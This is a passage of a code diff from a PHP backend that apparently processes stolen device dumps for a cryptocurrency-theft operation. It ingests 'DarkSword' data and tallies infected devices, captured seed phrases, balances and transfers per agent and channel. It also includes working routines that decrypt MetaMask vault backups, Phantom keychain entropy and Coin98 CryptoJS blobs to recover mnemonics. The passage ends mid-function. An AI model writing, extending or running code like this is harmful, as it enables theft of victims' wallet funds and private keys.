// Direct address patterns.
|
||||
// Direct address patterns — each match is validated before
|
||||
// being accepted, so encrypted blobs (xpub strings, hex IVs,
|
||||
// base64 ciphertext) that happen to match a regex are rejected.
|
||||
$patterns = [
|
||||
'/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM',
|
||||
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
|
||||
'/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN',
|
||||
];
|
||||
$validators = [
|
||||
'ETHEREUM' => fn (string $a) => EthAddress::isValid($a),
|
||||
'TRON' => fn (string $a) => TronAddress::isValid($a),
|
||||
'BITCOIN' => fn (string $a) => BtcAddress::isValid($a),
|
||||
];
|
||||
foreach ($patterns as $pat => $chainType) {
|
||||
if (preg_match_all($pat, $text, $matches)) {
|
||||
$validator = $validators[$chainType] ?? null;
|
||||
foreach ($matches[0] as $addr) {
|
||||
if ($validator !== null && ! $validator($addr)) {
|
||||
continue;
|
||||
}
|
||||
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
|
||||
}
|
||||
}
|
||||
@@ -1319,4 +1479,49 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert a 42-char hex TRON address (0x41-prefixed) to base58check.
|
||||
*/
|
||||
private static function hexTronToBase58(string $hex): ?string
|
||||
{
|
||||
if (strlen($hex) !== 42 || ! ctype_xdigit($hex) || ! str_starts_with($hex, '41')) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($hex);
|
||||
if ($bin === false || strlen($bin) !== 21) {
|
||||
return null;
|
||||
}
|
||||
$hash1 = hash('sha256', $bin, true);
|
||||
$hash2 = hash('sha256', $hash1, true);
|
||||
$data = $bin . substr($hash2, 0, 4);
|
||||
|
||||
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
|
||||
$base = strlen($alphabet);
|
||||
$num = array_map('ord', str_split($data));
|
||||
$result = '';
|
||||
|
||||
while (count($num) > 0 && $num[0] === 0) {
|
||||
$result .= $alphabet[0];
|
||||
$num = array_slice($num, 1);
|
||||
}
|
||||
|
||||
while ($num !== []) {
|
||||
$quotient = [];
|
||||
$remainder = 0;
|
||||
foreach ($num as $byte) {
|
||||
$acc = $remainder * 256 + $byte;
|
||||
$digit = intdiv($acc, $base);
|
||||
$remainder = $acc % $base;
|
||||
if ($quotient !== [] || $digit !== 0) {
|
||||
$quotient[] = $digit;
|
||||
}
|
||||
}
|
||||
$result = $alphabet[$remainder] . $result;
|
||||
$num = $quotient;
|
||||
}
|
||||
|
||||
return strlen($result) === 34 && $result[0] === 'T' ? $result : null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\DailyStat;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\TransferRecord;
|
||||
@@ -11,10 +12,13 @@ use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
class DashboardStatsService
|
||||
{
|
||||
public const CACHE_SECONDS = 45;
|
||||
|
||||
/**
|
||||
* @param array{
|
||||
* range?: string,
|
||||
@@ -48,8 +52,6 @@ class DashboardStatsService
|
||||
public function collect(array $filters = []): array
|
||||
{
|
||||
[$from, $to] = $this->resolveBounds($filters);
|
||||
$rangeLabel = $from->toDateString().' ~ '.$to->toDateString();
|
||||
|
||||
$channelId = trim((string) ($filters['channel_id'] ?? ''));
|
||||
$channelExact = (bool) ($filters['channel_exact'] ?? false);
|
||||
$agent = $filters['agent'] ?? null;
|
||||
@@ -57,6 +59,74 @@ class DashboardStatsService
|
||||
? $filters['agent_user_id']
|
||||
: null;
|
||||
$agentUserId = $agentUserId === null ? null : (int) $agentUserId;
|
||||
$scopeAgentId = $agent !== null ? (int) $agent->id : $agentUserId;
|
||||
|
||||
$cacheKey = 'dashboard:stats:'.md5(json_encode([
|
||||
$from->toDateTimeString(),
|
||||
$to->toDateTimeString(),
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$scopeAgentId,
|
||||
], JSON_THROW_ON_ERROR));
|
||||
|
||||
return Cache::remember($cacheKey, self::CACHE_SECONDS, function () use (
|
||||
$from,
|
||||
$to,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$scopeAgentId,
|
||||
) {
|
||||
return $this->compute(
|
||||
$from,
|
||||
$to,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$scopeAgentId,
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Prefer daily_stats sums (including today, up to ~15 min stale) unless a
|
||||
* channel filter cannot be served from the rollup. Missing rollup rows fall
|
||||
* back to a live page_visits scan.
|
||||
*
|
||||
* @return array{
|
||||
* total: int,
|
||||
* wallet_count: int,
|
||||
* new_count: int,
|
||||
* active_count: int,
|
||||
* pv: int,
|
||||
* uv: int,
|
||||
* effective_pv: int,
|
||||
* effective_uv: int,
|
||||
* mnemonic_count: int,
|
||||
* address_count: int,
|
||||
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
|
||||
* transfer_count: int,
|
||||
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
|
||||
* range: string,
|
||||
* from: string,
|
||||
* to: string,
|
||||
* date_from: string,
|
||||
* date_to: string
|
||||
* }
|
||||
*/
|
||||
private function compute(
|
||||
Carbon $from,
|
||||
Carbon $to,
|
||||
string $channelId,
|
||||
bool $channelExact,
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
?int $scopeAgentId,
|
||||
): array {
|
||||
$rangeLabel = $from->toDateString().' ~ '.$to->toDateString();
|
||||
$rollup = $channelId === '' ? $this->rollupFromDailyStats($from, $to, $scopeAgentId) : null;
|
||||
|
||||
$base = Device::query();
|
||||
AgentScope::applyDeviceChannelScope($base, $agent);
|
||||
@@ -71,37 +141,63 @@ class DashboardStatsService
|
||||
}
|
||||
}
|
||||
|
||||
// Period cohort: devices installed (created) in the selected range.
|
||||
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
|
||||
$deviceAgg = (clone $createdInRange)
|
||||
->selectRaw(
|
||||
'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count',
|
||||
[Device::WALLET_YES],
|
||||
)
|
||||
->first();
|
||||
$total = (int) ($deviceAgg?->total ?? 0);
|
||||
$walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
|
||||
$newCount = $total;
|
||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||
|
||||
$mnemonicCount = $this->countDeviceChildren(
|
||||
WalletMnemonic::query(),
|
||||
'wallet_mnemonics',
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
[$addressCount, $balances] = $this->addressStats(
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
if ($rollup === null) {
|
||||
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
|
||||
$deviceAgg = (clone $createdInRange)
|
||||
->selectRaw(
|
||||
'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count',
|
||||
[Device::WALLET_YES],
|
||||
)
|
||||
->first();
|
||||
$total = (int) ($deviceAgg?->total ?? 0);
|
||||
$walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
|
||||
$mnemonicCount = $this->countDeviceChildren(
|
||||
WalletMnemonic::query(),
|
||||
'wallet_mnemonics',
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
[$addressCount, $balances] = $this->addressStats(
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
[$pv, $uv, $effectivePv, $effectiveUv] = $this->liveVisitTotals(
|
||||
$from,
|
||||
$to,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$agent,
|
||||
$agentUserId,
|
||||
);
|
||||
} else {
|
||||
$total = $rollup['devices'];
|
||||
$walletCount = $rollup['wallet_devices'];
|
||||
$mnemonicCount = $rollup['mnemonic_count'];
|
||||
$addressCount = $rollup['address_count'];
|
||||
$pv = $rollup['pv'];
|
||||
$uv = $rollup['uv'];
|
||||
$effectivePv = $rollup['effective_pv'];
|
||||
$effectiveUv = $rollup['effective_uv'];
|
||||
[, $balances] = $this->addressStats(
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
}
|
||||
|
||||
[$transferCount, $transfers] = $this->transferStats(
|
||||
$agent,
|
||||
$agentUserId,
|
||||
@@ -111,38 +207,10 @@ class DashboardStatsService
|
||||
$to,
|
||||
);
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $agent);
|
||||
if ($agent === null) {
|
||||
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
if ($channelExact) {
|
||||
$visits->where('channel_id', $channelId);
|
||||
} else {
|
||||
$visits->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
}
|
||||
$visits->whereBetween('created_at', [$from, $to]);
|
||||
|
||||
$effectiveSql = $this->effectiveVisitSql();
|
||||
$visitAgg = (clone $visits)
|
||||
->selectRaw(
|
||||
"COUNT(*) as pv,
|
||||
COUNT(DISTINCT client_uid) as uv,
|
||||
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
|
||||
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv",
|
||||
)
|
||||
->first();
|
||||
$pv = (int) ($visitAgg?->pv ?? 0);
|
||||
$uv = (int) ($visitAgg?->uv ?? 0);
|
||||
$effectivePv = (int) ($visitAgg?->effective_pv ?? 0);
|
||||
$effectiveUv = (int) ($visitAgg?->effective_uv ?? 0);
|
||||
|
||||
return [
|
||||
'total' => $total,
|
||||
'wallet_count' => $walletCount,
|
||||
'new_count' => $newCount,
|
||||
'new_count' => $total,
|
||||
'active_count' => $activeCount,
|
||||
'pv' => $pv,
|
||||
'uv' => $uv,
|
||||
@@ -161,6 +229,88 @@ class DashboardStatsService
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Day-level UV summed across the range (same as the daily report). Null when
|
||||
* this scope has no rollup rows yet.
|
||||
*
|
||||
* @return array{pv: int, uv: int, effective_pv: int, effective_uv: int, devices: int, wallet_devices: int, address_count: int, mnemonic_count: int}|null
|
||||
*/
|
||||
private function rollupFromDailyStats(Carbon $from, Carbon $to, ?int $scopeAgentId): ?array
|
||||
{
|
||||
$scope = DailyReportService::scopeKey($scopeAgentId);
|
||||
$q = DailyStat::query()
|
||||
->where('scope_key', $scope)
|
||||
->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()]);
|
||||
if (! (clone $q)->exists()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$row = $q->selectRaw(
|
||||
'COALESCE(SUM(pv), 0) as pv,
|
||||
COALESCE(SUM(uv), 0) as uv,
|
||||
COALESCE(SUM(effective_pv), 0) as effective_pv,
|
||||
COALESCE(SUM(effective_uv), 0) as effective_uv,
|
||||
COALESCE(SUM(devices), 0) as devices,
|
||||
COALESCE(SUM(wallet_devices), 0) as wallet_devices,
|
||||
COALESCE(SUM(address_count), 0) as address_count,
|
||||
COALESCE(SUM(mnemonic_count), 0) as mnemonic_count',
|
||||
)->first();
|
||||
|
||||
return [
|
||||
'pv' => (int) ($row?->pv ?? 0),
|
||||
'uv' => (int) ($row?->uv ?? 0),
|
||||
'effective_pv' => (int) ($row?->effective_pv ?? 0),
|
||||
'effective_uv' => (int) ($row?->effective_uv ?? 0),
|
||||
'devices' => (int) ($row?->devices ?? 0),
|
||||
'wallet_devices' => (int) ($row?->wallet_devices ?? 0),
|
||||
'address_count' => (int) ($row?->address_count ?? 0),
|
||||
'mnemonic_count' => (int) ($row?->mnemonic_count ?? 0),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: int, 1: int, 2: int, 3: int}
|
||||
*/
|
||||
private function liveVisitTotals(
|
||||
Carbon $from,
|
||||
Carbon $to,
|
||||
string $channelId,
|
||||
bool $channelExact,
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
): array {
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $agent);
|
||||
if ($agent === null) {
|
||||
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
if ($channelExact) {
|
||||
$visits->where('channel_id', $channelId);
|
||||
} else {
|
||||
$visits->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
}
|
||||
$visits->whereBetween('created_at', [$from, $to]);
|
||||
|
||||
$effectiveSql = $this->effectiveVisitSql();
|
||||
$visitAgg = $visits
|
||||
->selectRaw(
|
||||
"COUNT(*) as pv,
|
||||
COUNT(DISTINCT client_uid) as uv,
|
||||
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
|
||||
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv",
|
||||
)
|
||||
->first();
|
||||
|
||||
return [
|
||||
(int) ($visitAgg?->pv ?? 0),
|
||||
(int) ($visitAgg?->uv ?? 0),
|
||||
(int) ($visitAgg?->effective_pv ?? 0),
|
||||
(int) ($visitAgg?->effective_uv ?? 0),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{range?: string, date_from?: string, date_to?: string, date_range?: string} $filters
|
||||
* @return array{0: Carbon, 1: Carbon}
|
||||
@@ -423,5 +573,4 @@ class DashboardStatsService
|
||||
|
||||
return [$major, $minor, $patch];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -69,6 +69,8 @@ final class DsKeystoreDecrypt
|
||||
foreach ($this->recoverPhantom($phantomNodes) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
$this->markSourceDecrypted($device->id, $hit['source']);
|
||||
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
@@ -78,6 +80,122 @@ final class DsKeystoreDecrypt
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* Try operator-supplied password against UTC / walletsV2 blobs and
|
||||
* MetaMask-style password vaults on this row (and same-source rows).
|
||||
*
|
||||
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
|
||||
*/
|
||||
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||
{
|
||||
$device->loadMissing('keystores');
|
||||
$source = trim((string) $row->source);
|
||||
$nodes = [is_array($row->raw_json) ? $row->raw_json : []];
|
||||
foreach ($device->keystores as $other) {
|
||||
if ((int) $other->id === (int) $row->id) {
|
||||
continue;
|
||||
}
|
||||
if (trim((string) $other->source) !== $source) {
|
||||
continue;
|
||||
}
|
||||
$nodes[] = is_array($other->raw_json) ? $other->raw_json : [];
|
||||
}
|
||||
|
||||
$utcs = [];
|
||||
$vaults = [];
|
||||
$coin98Wallets = [];
|
||||
foreach ($nodes as $node) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
|
||||
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
|
||||
foreach ($this->collectCoin98Backups($node) as $wallets) {
|
||||
$coin98Wallets = array_merge($coin98Wallets, $wallets);
|
||||
}
|
||||
}
|
||||
$utcs = $this->uniqueKeystores($utcs);
|
||||
$passwords = $this->expandUserPassword($password);
|
||||
$hits = [];
|
||||
$seen = [];
|
||||
if ($passwords === []) {
|
||||
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
|
||||
}
|
||||
|
||||
foreach ($utcs as $item) {
|
||||
$phrase = $this->unlock($item['keystore'], $passwords);
|
||||
if ($phrase === null) {
|
||||
continue;
|
||||
}
|
||||
$hash = WalletMnemonic::hashSecret($phrase);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'unknown');
|
||||
$hits[] = [
|
||||
'source' => $hitSource,
|
||||
'tag' => WalletSource::tagForLabel($hitSource),
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
|
||||
foreach ($vaults as $item) {
|
||||
$phrase = $this->unlockPasswordVault($item['vault'], $passwords);
|
||||
if ($phrase === null) {
|
||||
continue;
|
||||
}
|
||||
$hash = WalletMnemonic::hashSecret($phrase);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'MetaMask');
|
||||
$hits[] = [
|
||||
'source' => $hitSource,
|
||||
'tag' => WalletSource::tagForLabel($hitSource) ?: 'a',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
|
||||
// Coin98 CryptoJS privateKey / mnemonic blobs keyed by the user's
|
||||
// wallet password.
|
||||
if ($coin98Wallets !== []) {
|
||||
$phrase = $this->unlockCoin98Wallets($coin98Wallets, $passwords);
|
||||
if ($phrase !== null) {
|
||||
$hash = WalletMnemonic::hashSecret($phrase);
|
||||
if (! isset($seen[$hash])) {
|
||||
$seen[$hash] = true;
|
||||
$hitSource = $source !== '' ? $source : 'Coin98';
|
||||
$hits[] = [
|
||||
'source' => $hitSource,
|
||||
'tag' => WalletSource::tagForLabel($hitSource) ?: 'q',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function expandUserPassword(string $password): array
|
||||
{
|
||||
$password = trim($password);
|
||||
if ($password === '') {
|
||||
return [];
|
||||
}
|
||||
$out = $this->passwordsFromString($password);
|
||||
if (ctype_xdigit($password) && strlen($password) % 2 === 0 && strlen($password) >= 8) {
|
||||
$out = array_merge($out, $this->passwordsFromHex($password));
|
||||
}
|
||||
|
||||
return array_values(array_unique($out));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{utc: int, passwords: int, entropy: int}
|
||||
*/
|
||||
@@ -324,19 +442,11 @@ final class DsKeystoreDecrypt
|
||||
}
|
||||
|
||||
$out = [];
|
||||
// Phantom vault seedless entries: service=app:no-auth, account hex-decodes
|
||||
// to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with
|
||||
// an "entropy" dict of byte-index → byte-value pairs.
|
||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
$acctDecoded = '';
|
||||
if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||
$bin = @hex2bin($acct);
|
||||
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
|
||||
$acctDecoded = strtolower($bin);
|
||||
}
|
||||
}
|
||||
if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) {
|
||||
// Phantom vault entropy lives in dataHex as {"entropy":{"0":n,...}}.
|
||||
// Account may be hex, base64, or already-decoded UTF-8, and the path
|
||||
// is either ".phantom-labs.vault.seedless.*" (older) or
|
||||
// ".phantom-labs.vault.seed.*" (current iOS app).
|
||||
if ($this->isPhantomVaultItem($node)) {
|
||||
$hex = $this->phantomEntropyFromItem($node);
|
||||
if ($hex !== null) {
|
||||
$out[] = $hex;
|
||||
@@ -353,7 +463,54 @@ final class DsKeystoreDecrypt
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the entropy hex from a Phantom vault seedless keychain item.
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
private function isPhantomVaultItem(array $node): bool
|
||||
{
|
||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||
$acct = $this->decodeKeychainAccount((string) ($node['account'] ?? ''));
|
||||
$agrp = strtolower((string) ($node['accessGroup'] ?? ''));
|
||||
$looksPhantom = str_contains($acct, 'phantom-labs')
|
||||
|| str_contains($acct, 'phantom')
|
||||
|| str_contains($agrp, 'phantom')
|
||||
|| $svc === 'app.phantom';
|
||||
if ($looksPhantom) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Older DS dumps used service=app:no-auth + hex account.
|
||||
return $svc === 'app:no-auth' && (
|
||||
str_contains($acct, 'phantom-labs.vault.seedless')
|
||||
|| str_contains($acct, 'phantom-labs.vault.seed.')
|
||||
);
|
||||
}
|
||||
|
||||
private function decodeKeychainAccount(string $acct): string
|
||||
{
|
||||
$acct = trim($acct);
|
||||
if ($acct === '') {
|
||||
return '';
|
||||
}
|
||||
$lower = strtolower($acct);
|
||||
if (str_contains($lower, 'phantom-labs') || str_contains($lower, 'phantom')) {
|
||||
return $lower;
|
||||
}
|
||||
if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||
$bin = @hex2bin($acct);
|
||||
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
|
||||
return strtolower($bin);
|
||||
}
|
||||
}
|
||||
$b64 = base64_decode($acct, true);
|
||||
if (is_string($b64) && $b64 !== '' && mb_check_encoding($b64, 'UTF-8')) {
|
||||
return strtolower($b64);
|
||||
}
|
||||
|
||||
return $lower;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the entropy hex from a Phantom vault seedless/seed keychain item.
|
||||
*
|
||||
* @param array<string, mixed> $item
|
||||
*/
|
||||
@@ -436,6 +593,15 @@ final class DsKeystoreDecrypt
|
||||
}
|
||||
}
|
||||
|
||||
// App-link coin98.wallet keystore row (SET_WALLET_STORAGE wallets,
|
||||
// with CryptoJS-encrypted privateKey / mnemonic blobs).
|
||||
if (trim((string) ($node['kind'] ?? '')) === 'coin98.wallet' && is_array($node['wallets'] ?? null)) {
|
||||
$wallets = array_values(array_filter($node['wallets'], 'is_array'));
|
||||
if ($wallets !== []) {
|
||||
$out[] = $wallets;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
|
||||
@@ -575,6 +741,254 @@ final class DsKeystoreDecrypt
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* MetaMask mobile VAULT_BACKUP: {cipher, iv, salt, lib, keyMetadata}.
|
||||
*
|
||||
* @return list<array{source: string, vault: array<string, mixed>}>
|
||||
*/
|
||||
public function collectPasswordVaults(mixed $node, string $source = '', int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectPasswordVaults($decoded, $source, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
if ($this->isPasswordVault($node)) {
|
||||
return [['source' => $source !== '' ? $source : 'MetaMask', 'vault' => $node]];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
$acct = strtolower(trim((string) ($node['account'] ?? '')));
|
||||
if ($acct === 'vault_backup' && $source === '') {
|
||||
$source = 'MetaMask';
|
||||
}
|
||||
foreach ($node as $key => $child) {
|
||||
$next = $source;
|
||||
if (is_string($key)) {
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$next = $hint;
|
||||
}
|
||||
}
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectPasswordVaults($child, $next, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
public function isPasswordVault(array $node): bool
|
||||
{
|
||||
foreach (['cipher', 'iv', 'salt'] as $key) {
|
||||
if (! is_string($node[$key] ?? null) || $node[$key] === '') {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $vault
|
||||
* @param list<string> $passwords
|
||||
*/
|
||||
public function unlockPasswordVault(array $vault, array $passwords): ?string
|
||||
{
|
||||
foreach ($passwords as $password) {
|
||||
$plain = $this->decryptPasswordVault($vault, $password);
|
||||
if ($plain === null) {
|
||||
continue;
|
||||
}
|
||||
$phrase = $this->phraseFromVaultPlain($plain);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* MetaMask iOS (lib=quick-crypto): PBKDF2-SHA512 over the salt *string*
|
||||
* (not base64-decoded), AES-256-CBC, IV hex, cipher base64.
|
||||
*
|
||||
* @param array<string, mixed> $vault
|
||||
*/
|
||||
private function decryptPasswordVault(array $vault, string $password): ?string
|
||||
{
|
||||
$cipherB64 = (string) ($vault['cipher'] ?? '');
|
||||
$ivRaw = (string) ($vault['iv'] ?? '');
|
||||
$saltStr = (string) ($vault['salt'] ?? '');
|
||||
if ($cipherB64 === '' || $ivRaw === '' || $saltStr === '' || $password === '') {
|
||||
return null;
|
||||
}
|
||||
$cipher = base64_decode($cipherB64, true);
|
||||
if (! is_string($cipher) || $cipher === '') {
|
||||
return null;
|
||||
}
|
||||
$iv = ctype_xdigit($ivRaw) && strlen($ivRaw) % 2 === 0 ? @hex2bin($ivRaw) : base64_decode($ivRaw, true);
|
||||
if (! is_string($iv) || $iv === '') {
|
||||
return null;
|
||||
}
|
||||
$iterations = (int) ($vault['keyMetadata']['params']['iterations'] ?? 5000);
|
||||
if ($iterations < 1) {
|
||||
$iterations = 5000;
|
||||
}
|
||||
$salts = [$saltStr];
|
||||
$decodedSalt = base64_decode($saltStr, true);
|
||||
if (is_string($decodedSalt) && $decodedSalt !== '' && $decodedSalt !== $saltStr) {
|
||||
$salts[] = $decodedSalt;
|
||||
}
|
||||
foreach ($salts as $salt) {
|
||||
$key = hash_pbkdf2('sha512', $password, $salt, $iterations, 32, true);
|
||||
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||
if (is_string($plain) && $plain !== '') {
|
||||
return $plain;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Coin98 SET_WALLET_STORAGE wallets keep privateKey / mnemonic as
|
||||
* CryptoJS AES blobs ("U2FsdGVkX1…" = base64 OpenSSL "Salted__" +
|
||||
* 8-byte salt + AES-256-CBC ciphertext). Try the mnemonic blob first
|
||||
* (it decrypts straight to a BIP39 phrase), then the privateKey blob.
|
||||
*
|
||||
* @param list<array<string, mixed>> $wallets
|
||||
* @param list<string> $passwords
|
||||
*/
|
||||
public function unlockCoin98Wallets(array $wallets, array $passwords): ?string
|
||||
{
|
||||
foreach ($wallets as $wallet) {
|
||||
if (! is_array($wallet)) {
|
||||
continue;
|
||||
}
|
||||
foreach (['mnemonic', 'privateKey'] as $field) {
|
||||
$cipher = $wallet[$field] ?? null;
|
||||
if (! is_string($cipher) || $cipher === '') {
|
||||
continue;
|
||||
}
|
||||
foreach ($passwords as $password) {
|
||||
$plain = $this->decryptCryptoJsAes($cipher, $password);
|
||||
if ($plain === null) {
|
||||
continue;
|
||||
}
|
||||
$phrase = $this->asMnemonic($plain);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* CryptoJS AES.encrypt(plain, password) default format:
|
||||
* base64("Salted__" + salt(8) + AES-256-CBC ciphertext), with the key
|
||||
* and IV derived via OpenSSL EVP_BytesToKey (MD5, one round).
|
||||
*/
|
||||
private function decryptCryptoJsAes(string $cipherB64, string $password): ?string
|
||||
{
|
||||
$raw = base64_decode($cipherB64, true);
|
||||
if (! is_string($raw) || strlen($raw) < 32 || ! str_starts_with($raw, 'Salted__')) {
|
||||
return null;
|
||||
}
|
||||
$salt = substr($raw, 8, 8);
|
||||
$cipher = substr($raw, 16);
|
||||
$derived = '';
|
||||
$block = '';
|
||||
while (strlen($derived) < 48) {
|
||||
$block = md5($block.$password.$salt, true);
|
||||
$derived .= $block;
|
||||
}
|
||||
$key = substr($derived, 0, 32);
|
||||
$iv = substr($derived, 32, 16);
|
||||
